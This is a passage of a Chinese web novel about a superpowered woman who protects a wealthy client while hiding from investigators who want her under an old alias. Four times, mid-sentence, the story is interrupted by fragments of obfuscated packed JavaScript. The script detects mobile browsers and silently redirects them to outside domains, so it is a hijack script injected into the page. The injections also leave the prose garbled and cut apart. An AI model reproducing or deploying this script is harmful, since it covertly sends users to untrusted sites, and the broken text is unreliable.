这位进化专员脸上表情很淡,或许因为五官柔和,并没有给人一种冷厉的感觉,即使没有笑,也依然让人觉得个性温和。 施煦声音轻柔地打断道:“虽然还未做精确检测,不敢百分百确定,但那异能气息很像夜白鹭。”说罢,她从手里的文件夹中拿出一张纸,递到庾林面前,“这是夜白鹭的照片,庾先生最近是否看见过这个人?” 康管家闻言终于挪动了位置,他拿着手机凑到了庾林身旁,将摄像头对准庾林手中那张纸。 透过屏幕,周拾秋看见那张纸上印着一个女人的证件照。 普通到让人无法一眼记住的长相,厌世的眼神,轻微的雀斑,还有自然卷的短发。 只是瞥了一眼,周拾秋便认出,那个女人正是她曾经的朋友——百泉,也就是进研所专员口中“夜白鹭”的真实身份。 可没有人知道,夜白鹭,是周拾秋曾经使用的危代人ID。 八年前,危机管理局刚兴起,吸引了一批带着猎奇心理的年轻人入驻成为危代人,而周拾秋便是其中之一。 那时的她还不是为了赚钱,而是为了测试自己的异能。 认识百泉时,周拾秋还不过是个15岁的高中生,而百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578628|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉23岁,在甜品店打工。 一次偶然的机会,周拾秋见到了百泉,那是周拾秋第一次知晓进化者可以嗅到同类,当然,越强的进化者,越能隐藏自己的气息。 第一次遇到同类的周拾秋异常兴奋,后来便与百泉成为了朋友,她从百泉口中学到了许多有关进化者的知识。或者说,百泉于她而言,不仅是朋友,更是老师。 后来百泉辞去甜品店工作,注册成为了一名危代人,并拉上周拾秋一起,一边通过危代委托赚取丰厚报酬,一边借着意识转移的机会测试周拾秋的异能。 这对未成年的周拾秋而言,无疑是一种新奇又刺激的体验。 高中三年,周拾秋一放学就会跑到百泉的住处,以“夜白鹭”的身份活跃于危机管理局,直至深夜才回家。那时她骗父母,说自己找了个老师补习功课。 这样的生活一直持续到五年前。 因为那场绑架案,进研所在案发现场检测到了周拾秋的异能残留。 他们顺藤摸瓜,从瑞波恩科技获取到信息,得知绑架案中某位受害人生前曾签订了私危协议,并且事发当晚,曾有委托记录。 于是,用身份信息注册“夜白鹭”这个账号的百泉,成了通缉对象。 东窗事发后,周拾秋和百泉各奔东西,各自隐藏起进化者身份,相互断了联系,一晃五年就过去了。 如此看来,施煦感知到的异能残留,大概率是周拾秋留下的痕迹。 因为“夜白鹭”这个账号虽然在百泉名下,但实际的使用者一直都是周拾秋,所以最终在进研所留下的异能记录其实属于周拾秋。 至于百灵真正的异能,他们从头到尾都不知道,也难怪一直没能抓住百灵。 周拾秋不禁为进研所默哀两秒。 屏幕里,庾林看了一眼照片,然后斩钉截铁道:“没见过。” 施煦没有再继续追问,只是微微点了点头,然后从庾林手中拿回纸张放回文件夹中,对褚成舟说:“先让白女士到进研所配合调查,确定她身上的异能值是否与夜白鹭一致,再制定调查方向吧。” 褚成舟点了点头,摸着下巴自言自语道:“之前几起案子,我只怀疑是夜白鹭的拥护者所为,难道夜白鹭本人也参与其中?” 似乎感觉到棘手,褚成舟胡乱挠了挠后脑勺,不耐烦地啧了一声,随后冲施煦使了个眼色,便转身朝病房外走。 出门前,褚成舟还不忘说句风凉话:“庾先生可得保重身体,希望下次见面,你没有成为连环凶案的最新受害者。” 施煦礼貌地朝庾林微微点头弯腰,随后转身紧追褚成舟而去。 两人离开病房后,房中终于安静下来,庾林轻声叹了口气,让康管家帮忙重新调整床头高度,然后神情疲倦地躺下身。 就此,康管家挂断了视频电话,周拾秋手机上的画面中断。 周拾秋一头倒在了枕头上,心中无比担忧。 如果进研所专员只是对她和齐绮例行询问,大概率查不出什么,因为在禁仿区,她从不用异能,而且单凭施煦那样的初阶进化者,不可能感知到她身上的进化者气息。 唯一可能的变数,是褚成舟冒险让她去进研所进行检测。 19. 第019章 不知是因为陪庾林上了一整天班,还是因为晚上的突发事件,亦或者因为惊吓后的放松,周拾秋躺在枕头上竟稀里糊涂地睡了过去。 等到再次清醒过来时,时间已经来到凌晨2点。 周拾秋走到房门口,试着转动门把手,发现房门已经解锁。 大概康管家来帮她开门时,发现她已经睡着了,便没有强行叫醒她。 这个时间点,周拾秋不好开车回家,于是给齐绮发了条消息,简单告知如今的情况,以及进研所专员有可能会上门调查这件事。 至少让齐绮早上醒来时,至少知道她人在哪里,不至于因为担心而到处寻找。 发完消息,周拾秋本打算回床上接着睡觉,但从门缝里看见对面的房门,心中无数的疑惑挠得她心痒。 一想到天亮后也许就没那么容易靠近对面那间房了,周拾秋便打消了睡觉的想法。 漆黑的走廊里,只有安全出口的指示灯亮着,稍微提供了一点照明的光源。整个空间里寂静无声,此时恐怕掉根针在地上都能听见。 周拾秋蹑手蹑脚地走到对面房间门口,小心翼翼地转动门把手。 不出意料,房门果然反锁了。 但锁门对周拾秋无效,她只是看了门锁一眼,房门便自动打开了。 周拾秋此刻如同潜入别人房间的小偷,每一步都极为小心,唯恐惊醒房中人。 重新将门锁好后,周拾秋才发现眼前陷入一片无尽的黑暗之中。 闭合的窗帘彻底挡住了窗外的光线,房间里也没有光源,黑暗中能隐约听见一个人的呼吸声,轻柔而平稳。 周拾秋只能凭借记忆,摸黑往病床方向慢慢挪动脚步。 如果可以,她真想直接开灯,却不得不思考用灯光叫醒庾林的后果。不知庾林会不会一气之下敢她出房,连个说话的机会都不留给她。 于是她决定先摸到床边,堵住庾林的嘴,等他冷静后,再来问话。 可在黑暗中行走,实在有些艰难,她只能凭着模糊的记忆,并循着呼吸声前进。 不过,奇怪的是房间中只有一个人的呼吸声。 “难道康管家走了?留庾木木一个人?不应该啊。” 周拾秋心里泛着嘀咕,她很难想象一个人在房间里能不发出任何声音,包括呼吸声。 就这么磕磕绊绊走了好一会儿,她一会儿被桌腿撞到脚趾头,一会儿被柜子撞到膝盖,疼得眼泪都出来了,还得捂住嘴,努力不发出声音。 床上的人突然翻了个身,那动静吓得周拾秋弯腰埋头,动作停顿。 就在周拾秋等待动静平息时,一道刺眼的白光照射在她脸上,她一边用手遮挡,一边眯眼适应着突如其来的光亮。 循着亮光看去,只见坐在病床上的人,正用手机的闪光灯照明。 “你打算偷什么?” 庾林毫无感情的声音在房中响起。 话音刚落,房间角落里骤然传来轻微响动,康管家的声音随之出现:“周小姐?” 周拾秋用胳膊遮挡着眼睛,缓缓站直了身子,笑容有些僵硬,思考着该如何解释。 原本照在周拾秋脸上的光陡然移开,照向了康管家所在的角落,然后庾林开口道:“不用管她。”这句话显然是对康管家说的。 康管家获得指令后,重新坐回角落里,随后闭上了眼。 对于康管家的仿生人身份,周拾秋终于在这一刻有了直观的认知。她从未感觉出仿生人与普通人有何不同,直到现在,看见康管家进入待机状态,没有呼吸,不发出任何声音,坐在角落里为自己充电。 周拾秋觉得这种感觉很微妙。 “过来。” 庾林冰冷的声音打断了她的思绪。 借着庾林手机的亮光,周拾秋迅速靠近床边,一直等到她走到床边,庾林才关掉手机照明。 房间重回黑暗,庾林将手机扔回床头柜上,然后动作缓慢地躺回床上。 “想偷什么随意,但别打扰我休息。”庾林轻飘飘地扔下一句话。 周拾秋担心他又睡过去,赶紧解释:“我不是来偷东西,我是有问题想问你。” 庾林冷笑:“那你干嘛不开灯?” 周拾秋答:“这不怕灯光刺激,你会发脾气嘛。” 庾林:“呵,你还会顾虑我发不发脾气?那你进来前是不是该敲门?” 周拾秋:“嘿嘿,我怕吵到邻居。” 庾林:“那你觉得如何叫醒我,我会不发脾气?跟小偷一样摸黑过来,给我一个惊喜?” 周拾秋:“不发脾气的办法我还真想不到,所以我打算先给你点冷静时间。” 庾林阴阳怪气:“呵,真是好主意……你直接开灯,然后随便悬把刀在我脖子上,我哪里还敢生气?” 周拾秋:“喔,这倒是个好办法,记住了,下回一定注意。” 庾林:“大可不必。” 跟庾林闲扯了一会儿,看他说话的状态,周拾秋估计他的身体恢复了七七八八,于是她顺势坐到床沿,并将庾林往旁边挤了挤。 庾林轻轻叹了口气,并没有赶她走的意思,随口问道:“乌鸦小姐又有什么疑问,需要大半夜来吵醒病人?” “我怕天亮了进不了门,没办法,谁让你有个这么重视你的姐姐。”周拾秋回怼。 “你问,反正原本打算让你解决的麻烦,你已经解决,暂时不会叫你过来了。”庾林妥协道。 “你是指白馨?” “嗯。” “哦,那我还真是有超前服务意识,顺便还救了你的小命。” “真会给自己脸上贴金,你不来,康管家也能制服她。” “啧,嘴里说不出一句好话。” 周拾秋不满地嘀咕一句,随即想到了什么,心中又生捉弄之意,于是身子微微前倾,手探入黑暗中,掐住了庾林的脸,“所以第一次任务时,是因为白馨碰了你?” 庾林抬手扣住周拾秋的手腕,试图将那只不老实的手从自己脸上挪开,可惜周拾秋屡教不改,庾林刚制止了一只手,她又换另一只上场。 暗中较劲了一会儿,最终庾林一只手扣住了周拾秋两只手腕,然后摆出一种胜利者的姿态,轻蔑地笑道:“所以,差评是你应得的,被封号也不怨。” 周拾秋一时挣脱不开,只能跟个手被捆住的犯人一样坐好,心情不悦地提出心中疑惑:“那为啥我碰你,你不晕倒?” 庾林沉默了,指腹在周拾秋手腕上轻轻摩挲着,引得周拾秋又是疑惑又是恍惚,心上仿佛有只小猫在肆意抓挠。 大概是庾林走了神,扣住周拾秋手腕的力道松懈,周拾秋立马挣脱了他的束缚。 “不晕倒就可以乱摸?” 周拾秋没好气地骂道,手掌来回摩擦着手腕,试图抹去心痒的感觉,黑暗很好地隐藏了漫上脸颊的红晕。 庾林被骂得回过神,神情有些窘迫,战术性咳嗽一声,试图将这个话题就此揭过。 “咳,我也想弄清为什么对你没事。” “现在弄清了吗?” “也许因为你是进化者?” “这样说来,好像说得通……” 周拾秋仔细思考,这似乎是她与其他人唯一的不同处,正在这时,她脑海里响起一句话——“你们进化者的性别是不是没有限定那么死?”—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14593078|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一时间恍然大悟,气愤地质问,“所以一开始你才怀疑我的性别?” “总得一一排除可能性。”庾林若无其事地回答。 周拾秋又问:“你干嘛一开始不告诉我?” 庾林想都不想张口答道:“难道多给你提供一种杀掉我的方式吗?” 周拾秋觉得挺有道理,但嘴上不愿承认自己有杀人的想法,赶紧转移话题道:“怎么会这样,诅咒吗?” 说着周拾秋又将脑袋凑到了庾林身上仔细闻了闻,十分确信他身上没有进化者的气息,倒是有股淡淡的熏香味道。 庾林捏着她的脸颊,将她往外推了推,声音低沉地说道:“我不是进化者,你不用反复确认。医生说这是心病,也许是精神刺激产生的排斥反应。” “对了,那个叫施煦的进化专员,你可以拿她做个实验,看看是不是仅对进化者免疫。”周拾秋大胆提议。 庾林叹了口气,说:“反正不是你冒险,你就往死里建议。一旦有个万一,不仅有生命危险,还有可能曝光秘密,你可真敢建议。” 周拾秋闻言不服气,又伸手往庾林身上探去。 见周拾秋的手肆无忌惮地在自己身上摸索,庾林一把捉住了那只不安分的手,回击道:“乌鸦小姐就可以乱摸?” 手被庾林捉住后,周拾秋终于有了方向,另一只手顺势抓住庾林的手腕,手指在手环上敲了敲,大义凛然地说道:“放心,有危机管理局最伟大的危代人为你保驾护航,要不了你的命。” 庾林被她信誓旦旦的发言逗笑,第一次没有反驳她的话。 周拾秋又继续,“还有,虽然不知道是谁要杀你,毕竟你挺能得罪人,但是看在两百万的份上,我一定帮你解决此次危机。” 两只手环靠在一起,在黑暗中一同闪过一道白光,仿佛回应周拾秋的宣言一般。 瑞波恩已经连夜处理好撤销差评的相关事宜,周拾秋的手环又恢复了正常。 庾林沉默了片刻,带着戏谑的口吻回道:“为了两百万,乌鸦小姐可得努力。” 周拾秋手动调整庾林的手与自己握在一起,语气坚定:“放心,这次保证让你打不出差评。” 自信地说完这句话,周拾秋站起身,再次摸黑往门外走,然后再次撞到茶几,踉跄着险些摔倒。 黑暗中,庾林重重叹了口气,然后点亮了床头灯,嘴上忍不住揶揄:“乌鸦小姐,你没有手机吗?就你这样,还让我放心?” 周拾秋这时才想起,她从头到尾都忽略了自己也有照明手段,尴尬地朝庾林笑了笑,“现在不算,现在不算。” 然后她借着床头灯照明,赶紧逃离了病房,出门后还贴心地帮庾林反锁好房门,然后重新回到对面病房,为自己丢脸的表现懊恼不已,恨不得有重来一次的机会。 清晨天刚亮,周拾秋赶在庾双出现前匆匆离开了医院,回到禁仿区时,花店已经开门。 见她一现身,齐绮就焦急地上前询问关于进研所的事。 “没关系,他们现在没有证据证明我与庾林的案子有关,不可能冒险要求我去进研所接受检测。”周拾秋柔声安慰,既是安慰齐绮,也是安慰自己。 事实也证明,进研所暂时未将调查目标锁定到她身上。 周拾秋和齐绮心不在焉地在花店里等待进研所调查专员上门,可一直等到下午6点也没看见专员的人影。 正当周拾秋松了口气,手环上突然闪过的红光又将她的心提到了嗓子眼,来不及做任何反应,她的意识便脱离身体。 等她再睁开眼时,眼前出现一张脸,乖巧的短发,幼态的长相,清澈的大眼睛,以及握在她手里的修长手指。 20. 第020章 在意识进入庾林身体的一瞬间,周拾秋明显感觉到一阵不适,心脏猛然跳动膨胀,仿佛要炸裂一般,让她整个人凝滞,不敢动弹,眼前天旋地转,随时可能晕厥。 那短短几秒的时间无比煎熬。 几秒后,不适感如同幻觉一般,骤然消失无踪,只余下一身虚汗浸湿了衣裳。 眼前的施煦一脸诧异地望着她,轻声问道:“庾先生,请问有什么问题吗?” 一旁的康管家急忙走了过来,贴心地让周拾秋背靠枕头坐好,并自然地将两人的手分开,然后淡然解释道:“大概是坐起身,拉扯到伤口,不知是否开裂,等会儿得让医生来检查一下。” 康管家的解释听上去格外合理,施煦并未起疑。 接着,康管家又将信息藏于话中,机智地传递给周拾秋:“我们很乐意配合进研所调查,可您也知道,庾先生需要静养,而您的搭档感觉很不好相处,所以我们只好请您一人进屋详谈,希望您能谅解。” “我明白。”施煦郑重点点头。 此时房间里只有庾林、康管家和施煦三人,从康管家的话中不难听出,进研所专员又来找庾林问话,而庾林只允许施煦一人进了屋。 表面原因自然是庾林和褚成舟不对付,但周拾秋只是看了一眼,便知晓了庾林的真实意图。 “啧,庾木木还真把我的提议当真了,真不怕死啊?”周拾秋在心里暗骂道。 方才手环上闪动的红光,说明庾林遇到了生命危机,因此自动触发了协议委托人保护机制,强行将周拾秋的意识转移至庾林体内,代替庾林承受痛苦或应对危机。 而刚醒来的那几秒,周拾秋感觉到的不适,应该就是因为庾林与施煦握了手。 庾林的推测错了,他的心病并不会因为对方是进化者就不发作。 还好意识替换后,刚发作的心病消失,否则,周拾秋说不定得帮庾林承受死前的痛苦。 周拾秋心里正暗骂着庾林,就听见施煦平静地开了口:“检测结果已经出来了,白女士身上残留的异能值与夜白鹭的异能值有99.99%的相似度,基本可以确定,白女士是受到了夜白鹭的影响。” 周拾秋一脸淡定,对她来说,这个结果毫无悬念,她的确对白馨使用了异能,能查出夜白鹭的异能值并不奇怪。 不过让她在意的是只检测出她的异能值。 白馨的状态并不是受她异能的影响,可不是别的进化者对白馨动手,又是怎么回事呢? 周拾秋百思不得其解。 见她一脸沉思,施煦问:“庾先生想到什么线索了吗?” “啊,没有。”周拾秋急忙摇头否认,一转话题打探道,“你们好像说过,我的案子与连环凶案有关,究竟是怎么回事?为何会与夜白鹭有关?” 施煦面露犹疑,思考片刻,才开口:“最近频发的自杀案,庾先生应该有所耳闻吧?” 周拾秋理直气壮地回答:“没听过,我平时不出门,也不在意与我无关的事。” 庾林是否知情,周拾秋并不确定,反正她的确没注意过最近的时事,每天忙于赚钱已经够累了,她实在没有精力去关心别的事。 不过有一点可以肯定,这些自杀案一定只发生在自由区,因为如果是发生在禁仿区的案子,齐绮应该早就跟她八卦了。 “最近出现了许多起自杀案,原本自杀案不在进研所调查范围内,可偏偏这些自杀者无一例外,全是瑞波恩的VIP客户,瑞波恩觉察到异常,向进研所申请了介入调查。” 施煦语调平稳,讲述时不带一点感情,仿佛只是一台播报新闻的机器。 从施煦的口中,周拾秋大致了解了这个所谓的连环凶案。 大客户的连续死亡,引起了瑞波恩的警觉,也导致进研所介入了看似普通的自杀案。 可在调查中发现,自杀现场和自杀者身上都探测到了异能残留。 于是原本针对自杀案的调查,逐渐朝着连环凶案的方向进行了。 而进研所最怀疑的对象,是五年前崛起的一个拥护夜白鹭的组织——暗魈。 他们时常散布关于瑞波恩的阴谋论,并威胁瑞波恩的VIP客户。因此,进研所怀疑,最近接二连三的自杀案,正是他们采取的新手段。 庾林恰好也是瑞波恩VIP客户,虽说手法不同,可同样牵扯到进化者,甚至这个进化者极有可能就是夜白鹭本人,他们不得不将庾林这个案子并入连环凶案一起调查。 他们有理由怀疑,庾林成了凶犯的下一个目标。 听完来龙去脉,周拾秋带着戒心询问:“所以接下来你们打算怎么做?” 施煦丝毫没打算隐瞒,直截了当地回道:“在附近设伏,等到凶手再次动手时,活捉。” “好简单粗暴……” 周拾秋忍不住吐槽,她甚至觉得进研所是图省事,并且根本没将庾林的安危放在心上。 或许在进研所的眼中,庾林不过是个合适的鱼饵,能帮他们尽快解决棘手的连环凶案,至于最后能不能保下庾林,其实并不重要。 此时周拾秋没办法提醒他们调查的方向错了。 因为要证明自己的观点,她首先得承认自己是通缉犯夜白鹭。 为救庾林而牺牲自己,她觉得不值。 不过她可以考虑帮庾林抓住想要杀他的人。 “庾先生不用担心,我们会时刻监视有无异能携带者进入医院。” 也许是从周拾秋表情中看出不满的情绪,施煦又补充了一句。 这句话让周拾秋心头一紧,小心翼翼问:“每天有这么多人进进出出,专员小姐就算嗅觉再灵敏,也无法立刻察觉吧?” 施煦摇了摇头,简单解释:“所里已经联系医院,申请了异能探测仪的临时引进,大概凌晨就能送到医院进行秘密安装。” 施煦口中的异能探测仪是进研所为搜寻进化者发明的专业仪器。 身上存在异能的人只要靠近,探测仪便会捕捉成像,并发送至终端,提醒调查专员实施拘捕。 当然,身上存在异能的人,可能是进化者,也可能是被异能影响过的人。 因此,异能探测仪只能作为搜查的辅助道具,嫌疑人被拘捕后,还得通过进研所里的精确检测仪器进行身份判别。 但对周拾秋来说,光是异能探测仪已经足够麻烦。 与进化者之间的相互感知不同,异能探测仪并不会因为进化者更强大而失灵。一旦进研所与医院达成一致,引进异能探测仪,那周拾秋只要进入监测范围,便会被探测仪捕捉成像。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600359|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周拾秋听得寒毛直竖,无比庆幸自己提前得知了这条重要消息。 “为了庾先生的安全,我在这里说的话请勿外传。”施煦告诫。 随后施煦又询问了几句,主要是确认庾林与白馨最近共同见过的人,周拾秋自然隐瞒了自己这个危代人的存在。 康管家也很配合,没有拆穿周拾秋的谎言,并表示最近庾林与白馨只见过两面,一次是见面谈生意,另一次便是遇袭。至于与他二人出现在同一场景中的人,根本记不清。 施煦问完话后,果断告辞离开,然后与一直候在门外的褚成舟汇合,一起离开了医院。 开门时,周拾秋看到病房门外还站着两个体格壮硕的西装墨镜男,一看就知道是庾双雇佣的私人保镖。 在褚成舟和施煦离开后,一个朝气十足的大男孩闪身窜进了病房。 来人正是庾林的外甥,何洲。 头发打理得精致到发梢,穿搭彰显着独特品味,高个子大概遗传了家族基因,精致的五官能看出几分庾双的影子。 和庾林相比,何洲的整张脸少了几分冷峻,多了几分亲和力。 这名19岁大学生,虽然长得出众,可性格有些孩子气,优渥的家境让他养成了凡事用钱解决的坏习惯。 当然,想要赚钱的周拾秋并不讨厌这个“恶习”。 何洲总在危机管理局任务大厅发布令人啼笑皆非的任务,内容大多是追求心仪女生,几乎每次都被周拾秋接取了。 凭借着何洲这张脸,周拾秋在帮他追求女生时,可以说是轻而易举。 可感情的事不可能指望别人,每次周拾秋成功用诚意打动对方,帮委托人确立了情侣关系后,要不了几个月,何洲就会被甩。 如今想来,这两舅甥不知是不是中了诅咒,白长了一张脸,性格都不太招女生喜欢。 不过,何洲时常被甩这件事,对周拾秋而言是好事,也正是因此,周拾秋反复接了他不少追求女生的委托,轻松赚了一大笔。 几乎可以说,前五个月赚的三百万,何洲少说贡献了五分之一,后面这一个月的两百万,将全从庾林身上薅到。 何洲一进屋就嚷嚷:“小舅舅你疯啦?居然让那个女专员单独进屋,你忘了自己身体是啥情况?难怪我妈让我来看着你,你是半点不让人省心,色令智昏知道吗?” 面对何洲的叨叨,周拾秋竖起手掌打断道:“等我把你小舅舅换回来,你再骂不迟。” 何洲一愣,很快反应过来,愁眉不展的脸上立马展露笑颜,“乌鸦兄弟,原来是你啊!”接着他又意识到什么,一脸不爽,“我就知道小舅舅单独叫女专员进屋没好事,原来喜欢这一型,这下遭殃了吧。” 周拾秋隐约听出他话中含义,苦笑道:“也可能单纯就是为实验献身……” “啥?” “没什么。”周拾秋一句带过,“晚点见。” 说完这句让何洲一头雾水的话,周拾秋在手环上提交了任务完成申请。 很快收到了庾林同意的反馈,手环上白光一闪,周拾秋的意识便回到了自己的身体中。 只是情况稍微有些奇怪,她此时正与齐绮坐在二楼餐桌前,桌上摆着三菜一汤,而齐绮正吃得津津有味,边吃边夸赞着周拾秋的手艺。 21. 第021章 周拾秋分明记得意识转移前,自己还坐在花店柜台里算账,怎么做了接近一小时委托任务回来,自己就从楼下到了楼上,此时手里还拿着碗筷。 就像是丢失了中间的记忆,周拾秋茫然地放下碗筷,翻找手机,确认时间。 6点53分,与她完成委托任务的时间基本相符。 周拾秋一脸呆滞地问齐绮:“你把我背上来了?” 齐绮伸出一只手,摸了摸周拾秋的额头,又摸了摸自己的额头,然后笑道:“还没睡就开始说梦话了?我没事背你干嘛?” 周拾秋懵了,怀疑自己是不是出现了记忆错乱,默不作声地低下头,满怀着心事,将饭菜往嘴里塞。 刚吃了一口,她又惊了,捂着嘴一脸感动:“绮绮,可以啊,终于进化成贤妻良母了!最近偷偷背着我钻研烹饪呢?” 齐绮夹菜的动作停顿,微微张开嘴,诧异地盯着周拾秋。 “你别吓我,说什么胡话呢傻秋?这不是你做的么?我万年外卖选手,怎么可能做菜?” 背后有一阵阴风吹过,周拾秋只觉手脚发凉,头皮发麻。 “家里不会闹鬼了吧?” 一句带着颤音的话从周拾秋的牙缝中溜出,她身子微微后仰,远离了桌上的饭菜。 齐绮也感觉一阵恶寒,眼底闪过一丝惊恐,“我、我、我可是唯物主义者,什、什么鬼,你别吓我。” “那这桌菜怎么出现的?” 周拾秋的视线从桌上扫过,嘴里还留有饭菜的余味,她敢肯定,这绝不是自己的手艺,她唯一拿手的是用现成的火锅底料煮火锅。 炒菜?那是什么?只会出现在外卖清单中。 齐绮咽了咽口水,边回忆边说:“我只看见你上了楼,等我清点完库存后过来,饭菜已经上桌,当时你就坐在桌前,我还问怎么没看见外卖上门,你说是你做的。” “你还跟我说话了?”周拾秋的声音不由得提高,“不可能啊,刚才有委托,我到医院去了。” 齐绮的脸色肉眼可见地失去了血色,疑神疑鬼地瞥向四周,轻声说道:“你不会被什么夺舍了吧?” “你不是唯物主义者吗?” “那就是你在演戏骗我。” “你还是别唯了……” “那这饭还吃吗?” “吃,就算是鬼,也是个会做饭的好鬼。” 二人不约而同点点头,仿佛下定了某种决心,一边战战兢兢,一边狼吞虎咽。 匆匆吃完一桌子菜,周拾秋才想起正事,赶紧起身,告诉齐绮自己得去医院住几天。 如果不尽快解决庾林的案子,还不知道进研所的人会调查到什么时候去了。 齐绮并没有反对,只是叮嘱周拾秋注意安全。 两人表面上看起来都云淡风轻,可当周拾秋开车离开时,齐绮也出了门,嘴上说是朋友一个人在家无聊,让她过去住一晚。 两人心照不宣。 周拾秋从车窗探出脖子,说:“听说朝善寺的平安符挺出名。” 齐绮故作轻松:“呵,那都是骗人的东西,不过你如果喜欢,我也不介意去帮你买两个。” 周拾秋点点头:“嗯,我喜欢。” 一个多小时后,周拾秋背着包,出现在了庾林的病房外。 两名保镖拦着她不让进,她只能给康管家打了个电话。 康管家开门与保镖交代两句,周拾秋才总算顺利进了门。 房间里,庾林坐在床上用平板电脑翻看着什么东西,而何洲躺在沙发上玩着手机游戏。 听到有人进屋,何洲坐了起来,等看清进屋的人,脸色大变,匆忙退出游戏,起身想要拦截周拾秋,嘴里骂骂咧咧:“小舅舅,你在干嘛?下午约会大姐姐,晚上约会小姐姐,这我得告诉我妈,让她来教训你。” 周拾秋忍不住翻了个白眼。 在她开口骂人前,庾林头也不抬地回了句:“你最好现在就打电话,告诉你妈,你给我推荐了女危代人。” 何洲刚调出庾双的电话号码,手指僵硬在拨打键上,最终默默熄灭了手机屏幕,他一脸难以置信地扭头望着周拾秋,语调微扬:“兄弟?” “哦,我不是说了晚点见嘛。”周拾秋竖起手掌向何洲打了个招呼。 “不是,你不是男人吗?” 一句话脱口而出,何洲立马收获了一脚。 周拾秋冷冷回怼:“我啥时候说自己是男人了?” 何洲跌坐回沙发上,揉着小腿,说:“看你追女生一套一套的,我哪儿想得到你是女生,再说,哪个正常女生会接我的任务啊?” 周拾秋将背包砸到了何洲身上,理直气壮地说:“因为你给的任务奖金最高。” 庾林则发出一声冷笑:“原来你也知道自己发布的任务不正常。” 被两面夹击,何洲哭笑不得,将周拾秋的背包放到一旁,然后低声警告:“行吧,这事可千万不能让我妈知道,不然她非冻结我的银行账户不可。” 听何洲这么说,周拾秋基本可以断定,庾林没有将心病对她免疫的事告诉其他人,当事人不说,她自然也懒得多嘴。 “哦,你妈以为我是庾木木的私人秘书。”周拾秋坦诚道。 何洲诧异:“啊?你见过我妈了?” 周拾秋点点头:“昂,你小舅舅是我送到医院来的啊。” 何洲更是不解,问:“危代委托还有线下模式?” 周拾秋斜眼看了看庾林,冷哼道:“这要问你小舅舅干了什么缺德事……” 何洲的视线自然从周拾秋脸上转移,最后落到病床上,而床上的人只在意平板电脑上的东西,闻言漫不经心地回应:“怎么?想聊聊开房的事?” 何洲听了浮想联翩,一把抓住周拾秋的肩膀,低声劝道:“兄弟,不至于吧,缺钱也不用……诶?不对啊,找我小舅舅开房?他也不行啊……” 话还没说完,一个枕头就重重地砸在了何洲的脸上。 “嗷”的一声哀嚎,何洲捂着脸跌倒在沙发上,刚想发火,又憋了回去。 “你真是我亲舅……我也是关心你好不好?我的意思是那啥你懂的吧,我兄弟还不知道吗?那我闭嘴。”何洲委屈地辩解。 “心病吗?我知道。”周拾秋一脸天真地看着何洲。 何洲的视线在周拾秋和庾林之间来回横跳,拍了拍一旁的背包,语气疑惑地问:“你知道?那你这么晚来医院干嘛?还背这么重个包。” 周拾秋沉默了,支支吾吾不知如何开口。 关于她进化者的身份,何洲并不知情,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612218|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至连她的性别都不知道。因此,她没法明说自己到医院的原因。 就在她苦恼时,一直埋着头的庾林终于将平板电脑放到了一旁,用命令的口吻说:“你先出去,我跟乌鸦小姐有委托工作要谈。” “什么工作我不能听?”何洲想要赖着不走。 “出去。” 庾林表情严肃,态度坚决。 何洲似乎被庾林的气势震慑住,几度欲言又止,最后沮丧地拖着步子,慢慢走出房间,关上了门。 虽觉得何洲有些可怜,但何洲在场,周拾秋的确有所顾忌,因此也只能选择委屈何洲。 庾林没绕弯子,一针见血道:“乌鸦小姐打算拎包入住?” 看他一点都不意外的神情,周拾秋推测,康管家已经将紧急委托期间发生的事告诉了庾林。 这给周拾秋省去了解释的麻烦,她悠然往沙发上一坐,自信道:“进研所解决不了你的问题,只能我亲自出马,放心,不会跟你另要酬劳。” “哼,你是怕进研所一直调查我这个案子,早晚会查到你头上吧?”庾林无情拆穿。 “唉,这不重要,反正对你我而言,这是双赢的局面,你总不希望时刻需要担心面对袭击吧?”周拾秋慢条斯理地奉劝。 庾林没有回话,双手抱臂,食指指尖在胳膊上轻敲,微微眯着眼,不知在思考什么,沉默许久才说道: 